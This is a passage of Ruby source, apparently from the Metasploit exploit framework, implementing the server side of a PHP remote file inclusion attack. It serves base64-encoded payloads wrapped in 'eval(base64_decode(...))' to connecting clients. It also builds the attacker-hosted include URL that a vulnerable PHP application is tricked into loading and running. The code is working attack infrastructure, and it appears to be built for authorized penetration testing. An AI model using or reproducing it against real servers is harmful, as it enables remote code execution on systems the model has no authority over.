#
def send_php_payload(cli, body, headers = {})
case datastore['PHP::Encode']
when 'base64'
body = "<?php eval(base64_decode('#{Rex::Text.encode_base64(body)}'));?>"
when 'none'
body = "<?php #{body} ?>"
end
send_response(cli, body, headers)
end
##
# :category: Event Handlers
#
# Handle an incoming PHP code request
#
def on_request_uri(cli, request, headers={})
# Re-generate the payload
return if ((p = regenerate_payload(cli)) == nil)
# Send it to the application
send_php_payload(cli, p.encoded, headers)
end
#
# The PHP include URL (pre-encoded)
#
# Does not take SSL into account. For the reasoning behind this, see
# {#exploit}.
#
# @return [String] The URL to be used as the argument in a call to
# +require+, +require_once+, or +include+ or +include_once+ in a
# vulnerable PHP app.
def php_include_url(sock=nil)
host = srvhost_addr
if Rex::Socket.is_ipv6?(host)
host = "[#{host}]"
end
"http://#{host}:#{datastore['SRVPORT']}#{get_resource()}?"
end
end
end